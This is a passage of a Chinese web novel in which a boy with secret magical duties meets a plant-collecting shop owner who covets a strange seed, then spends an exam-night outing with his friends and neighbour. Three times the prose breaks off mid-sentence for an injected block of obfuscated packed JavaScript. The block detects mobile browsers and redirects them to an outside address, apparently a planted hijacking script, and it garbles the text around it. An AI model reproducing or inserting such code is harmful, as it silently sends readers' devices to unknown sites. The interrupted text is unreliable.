等了大概十秒钟,见面前两人一直没反应,那个有一双凤眼的中年男人笑了笑,又重复了一遍自己刚刚的话。 这一次,罗乐安终于有反应了。 他后退了两步,同时倒抽了一口凉气。 这个表现也让一旁的温朗有些诧异。 “乐乐?你跟这位先生……认识?” “当然不认识。” 罗乐安摇了摇头,往温朗身旁又凑了凑。 “那你怎么这个反应?” “没看出来吗?这个人,他是眯眯眼!” “唔……嗯?” 温朗理解了半天,最后还是发出了一个有点呆萌的疑问气泡。 “你没听过一句话吗?眯眯眼的人,都不好惹!” “……” “噗~” 一旁一看就不好惹的眯眯眼男士,在听完罗乐安的最后一句话后,终是没忍住,笑出了声。 见对方因为自己的笑,神情变得更加警觉,男人后退了一小步,以示友好。 “请不用紧张,我只是因为对你那张照片上的种子很感兴趣,所以才冒昧打扰。吓到你们,真是抱歉。” 他的态度让罗乐安放松了些,上头的中二病症状也终于开始减轻。 “你对这个感兴趣?” 一边说,他一边试探着将手机屏幕转向对方。 “是啊。对了,忘了自我介绍,我叫桑榆竹,你们可以叫我桑叔。我是个园艺爱好者,也很喜欢搜集一些小众的植物种子,所以在附近开了一个园艺馆——你们要来我店里坐坐吗?我请你们下午茶,当做是吓到你们的赔礼。” 听到有免费下午茶可以吃,罗乐安的眼睛有些放光,头顶的大毛也开始无意识地打起转来,说明这家的点心确实不错。 而且,如果这人真像是他说的那样,对植物很了解,那说不定对自己的谵蘖探索很有帮助。 想到这里,他更心动了,微微侧头看着温朗,眼睛水润,嘴唇微微撅起,明显是一副想要撒娇的样子。 温朗哪里能拒绝得了他这个样子,便点点头。 “那就打扰了。” “不打扰~” 桑榆竹再一次眯起眼睛笑笑,伸手理了理束在肩膀处的长发,转过身给他们两个带路。 而罗乐安抬起头,顶着光,眯起眼睛努力看清楚了面前这家店的门头。 花星巡宙园艺馆。 名字很大气很瑰丽,门前的装饰却很朴素,只有一株攀援的蓝雪花,繁盛,却又有些孤单。 极简主义吗? 抱着这样的想法,他踏入店内,却发现里面别有洞天。 脚下是红、黄、青三种颜色的瓷砖,像一张复古的织毯,其上放置着各式各样的花盆,从藤条到陶土,从极致简约到复杂精致,应有尽有。 花盆里的植物也是五花八门。 观叶的天南星科植物,各种形态小巧的多肉植物,而在光线最好的地方,则种满了各色鲜花。 至于墙面,更是被各种藤蔓枝叶装点得满满当当。 总之入目,便是一片喧嚣拥挤的绿意。 “这回我信了,你真的是个狂、热、的园艺爱好者。” 罗乐安打量着店里的各色装潢,第一次觉得绿色竟然也会让人如此烦躁。 因为,实在是太吵了。 各种情绪——无论是好的坏的,高兴的心烦的——扑面而来,他甚至还来不及关闭感应通道,就被灌了一脑袋的叽叽哇哇。 咦…… 太可怕了! 他晃晃脑袋,在控制住能力不外溢后,舒服多了。 “哈哈,”桑榆竹将两人引导到比较清净的角落里,不好意思地笑笑,“不好意思,里面有些乱,因为还没开业,很多东西都还需要二次布置。” “没关系,是我们打扰了。” 温朗游刃有余地跟一个成年人交际,而一旁的罗乐安则是兴致勃勃地专心打量店内的细节。 “这些花花草草,都是对外出售的吗?” “对,只要看得上眼,价格合适,这些都可以卖。不过每个品种也就一两盆,补货也要等店里的库存减半之后才会考虑,所以如果有喜欢的,先到先得哦~” 罗乐安对这些没什么兴趣,没再继续追问。 倒是温朗闻言,插进来问道:“那请问有什么适合摆在饭店里养的植物吗?不要养起来太麻烦的。” “饭店的话,白玉虎皮兰、雪莹、豆瓣绿这种耐阴耐旱的都可以,要是有空,等下吃完点心我可以带你看看。对了,你们要咖啡还是奶茶?因为还没正式营业,点心的话只有焦糖布丁,可以吗?” “可以~” 原本还在左顾右盼的罗乐安,听到这话,脑袋瓜被大毛硬生生地拽了回来。 “一杯无糖冰拿铁,一杯全糖珍珠奶茶,蟹蟹~” “好的,稍等。” 看到桑榆竹又弯起眼睛,罗乐安合上嘴巴,不自觉地往温朗身边靠了靠。 对于眯眯眼,他还真是有点怵。 不过见人走远,他又很快恢复了活力,在温朗身边蛄蛹起来。 “你要在这里买东西呀?” “嗯,”温朗举起桌上的小盆栽,看着插在里面写着“胡椒木”的标签,点了点头,“我妈前两天说想给店里添两盆绿植,就是这几天忙没抽出功夫去花市,所以今天要是碰到合适的我就买回去,也省的她大夏天的还要出门。你呢?要不要也买两盆回去?” “我?我就算了。” 罗乐安耷拉下肩膀,对这个提议完全不感兴趣。 自从他被发疯的百里香搞得差点四分五裂,家里就再没出现过植物,加上丧丧也说了谵蘖是异变的植物,能避开还是尽量避开的好。 想到这里,他郑重其事地劝诫温朗。 “花花草草看着无害,但其实潜在风险很高的,还是别买太多比较好。” 听到他的话,温朗有些哭笑不得。 “就是几盆绿植,能有什么危险呢?你是不是这几天又做奇怪的梦了?而且如果真有危险,那我想这家店的危险指数可比我家要高多了,不是吗?” “说的也是哦。” 罗乐安有些被说服了,而且马路上小区里到处都是绿化带,要真是草木皆兵,那日子可就没法过了。 “久等了。” 桑榆竹端着餐盘出现,见温朗拿着胡椒木,以为是他对这个植物感兴趣。 “这个也适合养在室内,不过因为有味道,有些人可能会不喜欢,所以公共场合最好还是再考虑一下比较好。” “知道了,谢谢。” 温朗放下盆栽,“桑先生对这些植物真的很了解呢。” “哈哈哈,就这么点儿爱好,不值得一提。” 听到他的称呼,桑榆竹表情不变,只是一边谦虚,一边将冰拿铁放到他面前,又把奶茶放到了罗乐安前面。 谁料手刚离开杯子,就听到罗乐安发出了“噗嗤”一笑。 “嘿嘿嘿,桑叔果然也被骗了~” “嗯?” 桑榆竹眯起眼睛,认真思索自己哪里上当了,然后就看见罗乐安将自己和温朗面前的饮品掉了个个,“看吧,所有人都认为甜的是我的,苦的是阿朗的,可实际上,这家伙才是真正的嗜甜如命~” “没到‘如命’的地步。” 温朗给自己分辩了一句,却在喝了一口奶茶后,露出了满意的笑容。 见他这样,桑榆竹乐呵呵地坐下。 “还挺反差萌的。” “是吧是吧~” 罗乐安吃了口布丁,又喝了口咖啡,也满足地眯起了眼睛。 果然,甜食还是得配点苦的东西才更好吃。 桑榆竹显然也这么想,因此在看到温朗一口奶茶一口布丁之后,有些迟疑地开口问道:“不会太腻吗?” “不会,很好吃,谢谢桑先生。” “放心吧,阿朗的口味一直很特别,而且他有独特的解腻小妙招——你包里应该还有辣条吧?” 经他提醒,温朗放下了手里的甜品勺,转身从书包里拿出一包麻辣王子,打开撒在了布丁上,接着和布丁一同送入口中。 在这之后,他露出了更为满足的笑容。 那是一个难得在他身上看到的、带着孩子气的笑容。 “这也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991281|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算我们阿朗身上的萌点啦~但也是秘密,你可不能嘲笑他哦!” 罗乐安护短地开着玩笑,眼睛则是一直盯着对面的桑榆竹。 对方看见了他眼里的认真,笑着摇摇头。 “怎么会呢?很可爱呀,就是的确让人意想不到。” 听到他这么说,罗乐安在心里松了口气,安心享用起面前免费又可口的下午茶。 而桑榆竹就那样安静地坐在他对面,双手交叠撑住下巴,一直笑眯眯地盯着他看。 如此明目张胆的热情,一旁的温朗都敛起了笑容,只有罗乐安这个粗神经的,直到吃饱喝足,终于意识到了对面“眯眯眼怪物”似乎是对自己格外青睐。 该不会说请客是骗人的吧? 果然,天底下就没有免费的午餐,也没有免费的下午茶! 然后他深呼吸,等待被宰,以及身旁全能学霸温朗的唇枪舌剑、据理力争。 只是事情的发展,似乎和他预想的……完全不一样! 见他放下杯子抬起头,对面的人不慌不忙地开口询问:“罗同学,请问你之前的那张照片可以再给我看一眼吗?我对那颗种子真的很感兴趣。” 诶? 就……只是这样而已嘛? 罗乐安眨眨眼,一脸傻乎乎的表情,就连温朗也被这个请求弄得有点懵。 不过如果真的只是这个请求,那倒真没什么,想到这儿,后者绷紧了好一会儿的肩膀放松下来,开始继续吃还剩下一半的辣条布丁。 至于前者,嘟着嘴巴想了想,最后还是把手机递了过去。 “桑叔之前说这个是矢车菊的种子,确定吗?” “唔……” 接过手机,桑榆竹看了大概有一分钟,就将手机重新递还回去。 “如果不考虑种子的大小,我可以确定就是矢车菊,不过正常的种子应该只有几毫米,这个的确大很多,是新改良的园艺品种吗?也不知道种出来是不是也会比普通品种更大。罗同学,我有个不情之请,方便的话,可以把这颗种子转卖给我吗?我可以出一千买。” “嗬……”罗乐安猛吸了口气。 对于一个普通的高中生而言,一千块钱也算是一小笔巨款了,他会心动也是正常的。 只是他虽然平时表现得总是傻乎乎的,可不代表他真的一点心眼都没有。 那粒种子到底不是普通的东西,而是谵蘖的遗留物,在弄清楚作用之前,肯定是不能轻易给别人的。 而且在听到这个请求后,他能感觉兜里的丧丧开始发热,对着只不爱加班的精灵而言,这件事一定很重要,不然也不会浪费能量给他警示。 于是—— “啊?这个啊……”罗乐安傻乐着打了个哈哈,“我也不清楚呢,就是无意中看到,有点好奇而已。话说,桑叔这边有矢车菊吗?长什么样啊?” 知道得不到种子,桑榆竹有些遗憾地叹了口气,却也没有生气。 “有的哦。”他站起身,一边前往花卉区一边道:“这种花的花期刚好是在夏天,花型很精致,也充满野趣,而且颜色还是自然界中少见的蓝色。” 说话间,他已经拿了花回来,将一个大概十厘米的小盆栽放到了罗乐安面前。 而后者,在看到矢车菊的真容后,眼睛不自觉地瞪大。 就是它! 那晚的谵蘖就是变异的矢车菊没错! 见他对这花两眼放光的模样,桑榆竹似乎也误会了。 “没想到罗同学对植物也这么感兴趣,要知道现在喜欢侍弄花草的年轻人可不多了。这样吧,我送你件礼物,希望对你有帮助。” 说罢,也不管罗乐安什么态度,他径直去到店门口,然后又很快折返,将一件东西塞进了前者的怀里。 一切发生得太突然,又结束得太迅速,导致罗乐安的脑袋有些短路,直到感觉手里一沉,才终于回过神,低头看向怀里的礼物。 是一本书。 《森罗万象绿手指手札》。 “……” 罗乐安欲哭无泪。 到底是谁发明的呢? 把书列进礼物分类里这么反学渣的事,联合国就不能管一管吗?! 摔!!! 14. BLUEBELL① “这是我自己编纂的一本手札,上面都是我搜集到的一些植物的信息,应该很适合你。之后你要是在花花草草方面有疑问,也欢迎过来找我交流,我可以为你提供免费的下午茶哦~” 最后,在桑榆竹热情的笑容中,罗乐安还是收下了那本书,跟着选了一盆心叶榕和一盆合果芋的温朗,踏上了回家的路。 由于耽误了些时间,他俩坐上地铁的时候正好赶上晚高峰,像罐头里的沙丁鱼一样被推来搡去了三四站,才终于碰到了一个空位。 “你坐。” 温朗将罗乐安按到座位上,又将装着盆栽的袋子放到对方怀里,“帮我拿一下。” 虽说能坐下是好事,可架不住某个人不服气,对前者温柔体贴视而不见,反倒是在体能上较起劲来。 “那干脆你来坐嘛,我比你矮,站着反而不像你一样受撞击面积那么大。而且我体力好,站时间长也不会累。” 一边说,罗乐安一边想要起身却不料被一只手按住了头顶,因为手里捧着东西使不上力,导致他挣扎了半天也没站起来,气得他扭脸噘嘴直哼哼,最后还没忍住,轻轻踢了温朗一脚。 “虽然五千米我的确跑不过你,但是论力气,我还是比你大的,对吧?” 说着,温朗又揉了揉罗乐安的脑袋,把本就蓬蓬的头发揉得更乱了,然后在对方真的要生气前,转移了话题。 “对了,你什么时候开始对植物感兴趣了?” “啊……” 听到这个问题,原本还在cos河豚的罗乐安瞬间撒了气,甚至还因为心虚,原本有些膨胀的呆毛也变得极为顺滑。 “并不算是感兴趣啦。” 他低下头,眼睛左右乱瞟着,脑袋里面疯狂编着理由。 好在因为闯祸而编理由这种事他从小干到大,已经不太需要大脑参与就已经可以凭本能处理,自动从交际圈里挑选背锅侠。 而这一次…… 就决定是你了——任穗! “是老穗啦,你应该也知道她吧,喜欢写写画画的,网上粉丝超多的~” “嗯?” 温朗在听到任穗的名字后,表情肉眼可见地冷了下来,只不过罗乐安一直低着头,并没有注意到。 “是你们班跟你很要好的那个女生吗?矮矮小小、可可爱爱的,你周末总跟她出去闲逛的那个?” “嘶……” 罗乐安忍不住揉了揉腮帮子,也不知道怎么了,突然感觉酸酸的。 “是她,”他没忍住抬起头来,“你对老穗很关注啊——啊!” 话还没说完,之前那只捣乱的手又来了,抓住他的小脑瓜,狠狠往下一压。 “说、重、点!” 啊啦啊啦,湖灵高中的公认男神终于被他逼出“暴君”的本来面目了! 可这并不是什么令人高兴的事,罗乐安挣脱了头顶手掌的禁锢,终于老实不敢继续调侃了。 “之前我不是提过嘛,她有个新脑洞,就是跟植物有关的,所以我顺手就帮她查查资料什么的。” “顺手啊……”温朗扫过被罗乐安紧紧抱在怀里的那本手札,闭上眼睛叹了口气,再睁眼的时候,情绪已经恢复了平静。 “之前你们怎么玩怎么闹都行,不过开学就是高三了,精力还是多放在学习上吧——这样胡女士也能天天开心,你的日子也能更舒心。” “是是是,你放心,我现在的注意力全都在你身上,你指哪儿我打哪儿,绝不含糊~” 罗乐安这话不是敷衍,之后的几天他的确是相当专注,非常用功,天天两眼一睁就是埋头苦读,两眼一闭还不忘函数求导,日子可以说是相当充实了。 倒不是他性情大变突然开始热爱学习,主要还是因为第一轮假期快结束了,马上就要开始为期一周的学校统一补课,而且一上来就要摸底考试。 如果说成为独当一面的魔法少男是他现阶段最大的梦想,那么学习,就是这条路上最大且完全避不开的拦路虎。 所以,为了之后能够更顺利地完成拯救世界的光荣任务,他现在的“卧薪尝胆”根本不算什么。 为了大业,他可以! 丧丧看着罗乐安在大晚上傻兮兮地比划来、比划去给自己打气,任它一个不愿意多管闲事的丧气牛马都看不下去了。 主要是这一出,已经重演五个晚上了,实在是看腻了。 于是,这个自闭精灵难得主动开口说话了。 「我的能量大概还能撑十天。」 “诶?” 头上绑着发带努力奋斗的罗乐安一惊,“丧丧你吃错药了?竟然主动开口了说话了?!你该不会是有什么事想不开了吧?!!” 「……」 见丧丧又沉默,他见怪不怪,主动拐回正题,“放心放心,我知道,我当然也想变身打谵蘖啊,这不是现在有更要命的事嘛——不过明天就考完了,晚上应该能自由活动,到时候我带你去城北最繁华的小吃街逛……咳,巡察,说不定会有新的收获。” 这次他没吹牛,也没立flag,大概是他最近认真学习的态度打动了胡女士,对方在他提出想要出去逛逛的请求时,并没有驳回,只是让他九点前回家。 只是…… 罗乐安环顾四周,看着不久前才刚告别的任穗、常映月和温朗,眼神无光,内心无力。 到底是发生了什么呢? 为什么现在这个局面,和自己原本预想的,差得这么多呢? 一个小时前。 “完了完了完了!地理组老师疯了吧!” “绝对疯了!绝对是请数学组的老师来出题了——都出的什么鬼玩意儿,我一直在算数!” “啊啊啊啊啊能不能别提数学了!我好不容易才忘掉昨天的噩梦!” “那我再告诉你个更恐怖的消息来个风险对冲吧,据说数学卷子已经批完了。” “……魔鬼!!!” 在一众哭天抢地里——包括优等生的表情也说不上多美——罗乐安带着笑的表情可以说是相当格格不入了,以至于原本还沉浸在“自己大概率考砸了”情绪里的任穗,在看到他扬起的嘴角后,惊得直打哆嗦。 “乐乐?” “啊?怎么了?” 听到任穗叫自己,正收拾书包的罗乐安抬起头,结果被对方一把掐住了腮帮子。 “你真的是乐乐吗?” 任穗一边问,手上一边揉捏,满脸写着不可置信,“你听到数学成绩出了竟然没反应,而且还笑了,难不成是被魂穿了吗?” “系发咔唔……” 罗乐安挣扎着把自己从对方的魔掌中解救出来,可怜兮兮地揉着发红的脸颊。 “当然是我啦!你最好的搭档!我刚刚在笑是因为阿朗给我压了几道数学大题竟然都考了,所以我觉得我这次应该不会太差~” “啊……” 听到他的话,任穗哭着扑进一旁一个神情高冷的长发女生怀里,“小月!乐乐他要弃我而去了!他抛弃了我这个‘学渣搭子’!呜呜呜……” 常映月抬起手,温柔地揉了揉怀里人的发顶,认真安慰道:“没关系,等之后我也给你押题。” 嘎? 光押题没用的,首先要先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010681|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学会,可难道真的要她像罗乐安一样,大好的暑假时光都浪费在课桌前吗? 那也太苦了! 想到这里,任穗吸了吸鼻子,从常映月怀里起来。 “咳,算了,我现在这样挺好的,我很满意。对了!为了庆祝我们顺利考完,等下要不要去吃一顿呀~” “不了,”罗乐安收拾完书包,起身往外走,“我今天晚上有要紧事要做,之后再约,拜拜~” 说罢,他就在任穗的抱怨声中离开了教室,一边往校门跑,一边避开神出鬼没的老韩,拿手机偷偷给温朗发消息。 “‘我今天有事先回去了,你不用等我了,明天见……’好了,这样就万无一失了,丧丧,let''sgo~” 城北是老城区,面积比较小,相应的,从哪里去往区中心都很近,所以他只骑了不到二十分钟的自行车,就到了城北最热闹的商业广场附近。 “怎么样?这里是湖灵市人流量最大的地方之一,现在也是人最多的时候,谵蘖说不准也在盯着这里。话说丧丧,你现在好歹有能量,如果附近真的有异常,你要记得及时跟我预警哦~” 「……哦,希望如此。」 丧丧的丧气并没有浇灭罗乐安的积极性,毕竟他来这里除了巡察,顺带,不,更重要的,是他隔了几个月,终!于!能来这附近的美食街撒欢了~ 炸串炒面钵钵鸡,芋圆冰粉双皮奶,他来啦!!! 罗乐安头顶的大毛转成了螺旋桨,他本人也像是一只勤劳的小蜜蜂,从这个摊位窜到那个小店,一刻也不停歇。 然而这种快乐并没有持续太久,在逛吃到差不多一半的时候,他跟从美食街另一个入口进来的任穗和常映月,迎面碰上了。 一眼万年。 万年尴尬。 其实最先发现罗乐安的人是常映月,她看着不远处正在转圈啃薯塔的那个人,沉默地戳了戳身旁任穗的肩膀。 后者从摊主手里接过章鱼小丸子,一转头就看到了两根极为醒目的栗色呆毛,脸上先是惊喜,而后快速转成了不爽。 “罗乐安!你个骗子!!!” 十七八岁的少女冲着同样十七八岁的少男大喊“你是骗子”,听上去实在是太有歧义了。 罗乐安也正是意识到了这一点,在听到任穗怒气值顶格的大喊后,忍住了第一时间逃跑的冲动,转过身尴尬地和对面两个女生打招呼。 “嗨,老穗。嗨,凛酱。” “凛酱”其实是常映月玩cosplay时的圈名“月凛”的昵称,不过现在这不是重点,重点还是罗乐安如何解决这尴尬的局面。 “你们也来这儿了啊,好巧哦,哈,哈哈……” 任穗没理他干巴巴的客套,只是眯起眼睛,上下打量着罗乐安。 “的确很巧——话说你所谓的‘要紧事’,就是来这儿吃吃喝喝?” 罗乐安以他的呆毛发誓,如果自己真的回答了“是”,那未来几天的日子就甭想消停了,毕竟老穗“碎嘴子”的绰号可不是白来的。 所以,他本能地想要再次甩锅。 “怎、怎么会呢?当然不是啦,我是跟阿朗约好来看电影,结果他临时有事放我鸽子。可我来都来了,想着好久没来吃东西了,所以就一个人……” 秉持着“谁不在就说谁坏话”的原则,他这一次锁定的对象,正是自己的好兄弟,温朗。 但事实证明,人是不能乱说瞎话的,次数多了真的会遭报应。 他话还没说完,就听到一个熟悉的声音突然在自己身后响起。 “鸽子?我什么时候放你鸽子了?” 15. BLUEBELL② 这是罗乐安第二次,不,加上不欢而散那天,是第三次在温朗的声音里听到冷意了。 但和前两次不同的是,这一次,对方的声音是带着笑意的——是那种让人不寒而栗的冷笑。 “鸽子?我什么时候放你鸽子了?” 身后的声音让罗乐安猛地一个激灵,转过身就看到温朗嘴角噙着笑,正温柔地看着自己,看得他呆毛都快炸了。 “不是你发消息告诉我,今天不……唔!” 温朗的后半截话被罗乐安用一个鲷鱼烧堵回了嘴里,同时为了防止他乱说话,后者开始主动出击。 “咳!你怎么在这儿啊?你不是不喜欢这种乱哄哄的地方吗?” “嗯……” 因为嘴巴里填了东西,温朗只好一边嚼嚼嚼,一边用手指了指身后的方向。 “啊?” 罗乐安顺着他手指的方向看去,发现那里除了一个臭豆腐摊子,只有一栋位于更后面的写字楼。 “那不是小葵学钢琴的工作室吗?” “对,”温朗终于把嘴里那口鲷鱼烧咽了下去,“今天店里生意太好,我妈脱不开身,所以我来送她上钢琴课。她在上面上课,我就想着下来垫吧口吃的,没想到这么巧,正好碰见你……” 说到这里,他停顿了一下,微微抬头看向前方的两个女生继续说道:“还有你的同学们。晚上好。” 发现温朗是在跟她们打招呼,任穗紧忙拉着常映月跳步上前,上下打量着这位传说中的校草,两眼放光。 虽然对方经常来找罗乐安,但基本上都是在放学时间,她每次都只能远观,而像是今天这种可以近距离观摩的机会,可是第一次。 这个超赞的身材! 这个腹黑的笑容! 这个青春的气息! 她一定要牢牢记在心中,回去之后,大画特画! 目光太过热(放)情(肆),罗乐安都看不下去了,用胳膊肘顶了顶已经浮想联翩到不知矜持为何物的任穗。 “嘿!口水收一收,太丢人啦!” 经他提醒,任穗终于回神。 “咳咳,不好意思,主要是第一次在三米之内跟朗哥说话,实在是太激动了——朗哥您好,我叫任穗,旁边这个大美女是常映月,我们是乐乐的闺蜜~” “……不要用那个词啊喂!” 罗乐安有些羞耻地捂脸,倒是原本周身缠绕了微微冷意的温朗,在听到任穗的话后,整个人瞬间……该怎么形容呢?春暖花开。 “晚上好,叫我温朗就好。我知道你们,乐乐跟我提过,你们是他的好朋友,经常一起出去玩。” 一边说,他一边将右胳膊搭在罗乐安的右肩,手自然垂在对方胸前,乍一看像是将人揽在了怀里。 任穗眨眨眼,转过头和身旁的常映月对视了一眼,两个人双双在对方眼睛里看到了三个字。 有情况! “哈哈哈~” 自觉看明白了局势的任穗,发出了银铃般的笑声。 “既然乐乐和你成功汇合了,那我跟小月就先走了,你们好好玩哦~~~” 一听人要走,罗乐安先慌了,一个飞扑从温朗怀里冲出来,生生用身体拖住了已经转身准备撤退的任穗。 “别着急走啊!” 边喊,他边绞尽脑汁思考留下她们的理由。 终于,在其他人愈发疑惑的眼神中,他找到了。 “那个,我听说《喜XX和灰XX》虎年大电影今天重映,择日不如撞日,我们一起去回忆童年吧!” 他当然知道这个理由极其十分以及特别的荒谬,可无所谓,被嘲笑幼稚总比被温朗盘问强。 其实罗乐安完全可以用“馋了想来打牙祭”这个理由,来解释他出现在美食街的原因。 只是大概是太紧张的缘故,他完全没想到这一点,以至于之后在面对更混乱局面的时候,悔不当初。 不过当下的他并没有预见未来的麻烦,还在试图说服瞪圆眼睛的三位好友。 “干嘛这么看我,我觉得这个提议很棒不是吗?我们马上就是成年人了,想在成年人的世界里找寻到纯真美好可是很难的,所以我们要珍惜当下,而且追忆过去也代表我们越来越成熟……” 滔滔不绝的理由越铺越远,倒不是罗乐安没话找话说,而是他突然想到,最好这仨人都拒绝他,那他不就可以简简单单重获自由了嘛~ 于是他越说越嗨,话题逐渐上天。 三位听众实在是忍不下去了,不约而同地开口打断了他:“不用说了,我去!” “真的吗?那真是太遗ha……嗯?” 罗乐安傻住了。 “我小时候可喜欢这部了,正好赶上了那就看看,对吧,小月?” “嗯。” “我没看过,既然你们都说好,那我也跟着一起看看吧。” “……可你不是来送小葵学钢琴的吗?等会儿她下课了找不着人怎么办?” “没事,等那个时候我爸妈应该就闲下来了,我给他们发个消息,到时候让他们来接。” “……” ber! 怎么不按套路出牌呢! 这样他会很难办的啊喂! 然而事已至此,结果已经无法改变,他也只能接受“四人行”的局面。 反正不管怎么说,一开始的目的也算是达成了,只要不出意外,他应该还是安全的。 一边买票,罗乐安一边这么想着。 然后,意外就来了。 “你叫任穗是吧?” “对,朗哥你可以叫我穗穗子,是我的圈名~” “好的,穗穗子,你最近是有什么新脑洞吗?关于植……” “啊啊啊!” 刚买完票就听到他们在聊“禁忌话题”的罗乐安激动地冲了过来,直接把任穗给“绑架”了。 “来来来老穗,咱俩去买点喝的吧,我请客,你过来帮我拎一下,走走走!” 看着罗乐安像一阵风似的扑过来,又像阵风似的把任穗“卷走”,温朗嘴角微微绷紧,酝酿了好一会儿,终于还是轻轻叹了口气,露出了一个有些无奈的笑容。 算了。 原本也不是什么大事,只要别又搞得像之前那样黑眼圈重得像做贼,其他的都无所谓了。 “希望他们两个别在这个时间买带茶底的饮料……他们,应该会记得吧?” 他原本是担心常映月尴尬,于是随便找了个话题,可说到后面,他心里突然有些慌,嘴角得体的笑容都挂不太住了。 对于他的问题,天生性格淡漠不爱说话的常映月也微微蹙起眉。 “……希望吧……” 希望两个不靠谱的人在一起能够“负负得正”。 事实证明,这两个人的担心不无道理。 罗乐安将任穗拉到了距离最远的一个奶茶店,准备临时跟她通个气,这样之后温朗再问起来,他也不至于穿帮。 不过后者对于他的打算毫无所觉,扫了码还没点单,面前的手机就被替换成了罗乐安圆圆的脑袋。 “嗬——乐乐你干嘛!我正看菜单呢,吓死我了你!” “我都点好了,先别操心点单的事了。”罗乐安面色深沉,顶着一副“大事专用”表情,阴恻恻的。 “当务之急,是请你先拯救我。” 任穗被他这副模样吓了一大跳,脑袋凑过去,非常入戏地用气声询问:“什么事啊?” “我之前因为晚上打游戏白天总打瞌睡,为了不暴露,就拉了你背锅,说晚上和你讨论你的新脑洞来着。等下如果他问你,记得千万别穿帮呀!” “哦,这个啊,没问题。” 相互给对方背锅这事儿,任穗也很熟,因此听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023645|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗乐安的请求后二话不说就答应了。 但是这种“默契”也是需要付出代价的。 于是在后者松了口气后,她又凑了上去,悄咪咪地问道:“话说,温朗对你可真好啊,感觉比你妈妈还要操心你诶~你们真的只是邻居吗?” 罗乐安对任穗这副鬼鬼祟祟的模样有些不解,却也没多在意,老老实实地回答问题。 “真的只是邻居啊,不过认识的时间比较久,有十多年了,在高中之前我们一直是一个班来着。” “哇~真幸福诶~怪不得你们感情这么好,他对你超——关心的。” “如果你喜欢每个假期都要去他家补课的这种幸福,那我愿意分享给你。” “……你倒也不用这么大方。那你……” “哎呀,你先别问那么多。重点是,你那个脑洞跟植物有关,别忘了哈!” “啊?这么具体的吗?那为什么是植物……” “3059号顾客,您的四杯奶茶好了。” 奶茶店店员打断了任穗的疑惑,想着电影快要开场,她便没有继续追问,跟罗乐安一起拎着奶茶往回走。 然后,在四个人重新汇合后,从奶茶袋盲盒里开出了四杯半糖全冰的薄荷奶绿。 “emmm……” 罗乐安抿抿嘴,他当时着急“串供”,也没多想就直接在小程序里点了四次“再来一单”,结果…… “抱歉,我习惯性点那个按键了——要不你们再等等,我再去买一次……” “算了算了,”温朗笑着将转身就要跑的人拉了回来,“电影快开场了,咱们还是先进商场里面吧。至于这四杯奶茶,今晚就先不喝了,回家冻冰箱里,明天正好上课提神。” 这个提议得到了全票通过。 为了避免再发生什么曲折的剧情增加任务难度,他们几个没再多言,径直朝向电影院所在的商场前进。 好在小吃街本身就在商场隔壁,四个人走了不到五分钟,就已经看到了商场入口。 “刚刚谢谢你哦~”罗乐安落在任穗和常映月后面,悄悄跟温朗咬耳朵。 “还好有你,不然真的是尴尬死了!” “这有什么,哪里还需要你特意谢。” 温朗伸手揉了揉身旁那个毛茸茸的脑袋,嘴角含笑。 “不过说起来,你还真是喜欢薄荷奶绿啊,貌似每次都只喝这个。” “嗯呐呐,我一向是专情又长情……” “嗡——” 罗乐安摇头晃脑自夸着进了商场,然而脚刚踏进大门,一道刺耳的蜂鸣声就响彻脑内,震得他身子一个大晃,差点跌倒。 幸好一旁的温朗眼疾手快,手一伸搂住他的腰,及时将人扶好,没让人真的亲吻大地母亲。 “怎么了?绊倒了吗?” 前头的任穗和常映月听到动静,也回过身。 “乐乐你没事吧?” “头晕吗?去医院?” “没事。”罗乐安这个时候已经缓过来了,他晃晃脑袋,发现似乎只有自己听到了刚刚那个声音,其他人并没有受影响,便没有声张。 “刚刚光顾着说话了,没看路,不小心踩歪了。没事没事,快走吧,电影还有十分钟就要开场了。” 他推着几人上楼,心里却还惦记着刚刚的声音。 如果只有自己听到,那说不定只是错觉,或者耳鸣。 但他还是觉得有些不放心。 因为他终于意识到,这次和之前不一样。 之前是在空无一人的大街上,不会有人受伤。 可现在,商场里人来人往,如果谵蘖真的在这里,那事情可要比之前麻烦多了。 应该还是他多心了吧。 罗乐安如此安慰着自己,心事重重地进了电影院,完全没有发现兜里的丧丧在刚刚他听到蜂鸣声的一瞬间,变的滚烫。 16. BLUEBELL③ “呵……嗯……” 罗乐安坐在座位上,闭着嘴巴眼角噙泪,强忍今晚的第27个哈欠。 不忍不行啊! 毕竟看电影是他提出来的,如果看的时候睡意连连,怎么想都不太合适。 可是这个电影他小时候来来回回看了十几遍了,闭上眼脑袋里都能直接演一遍,加上刚刚美食街上吃了太多碳水…… 他可真的是太想念家里的床了。 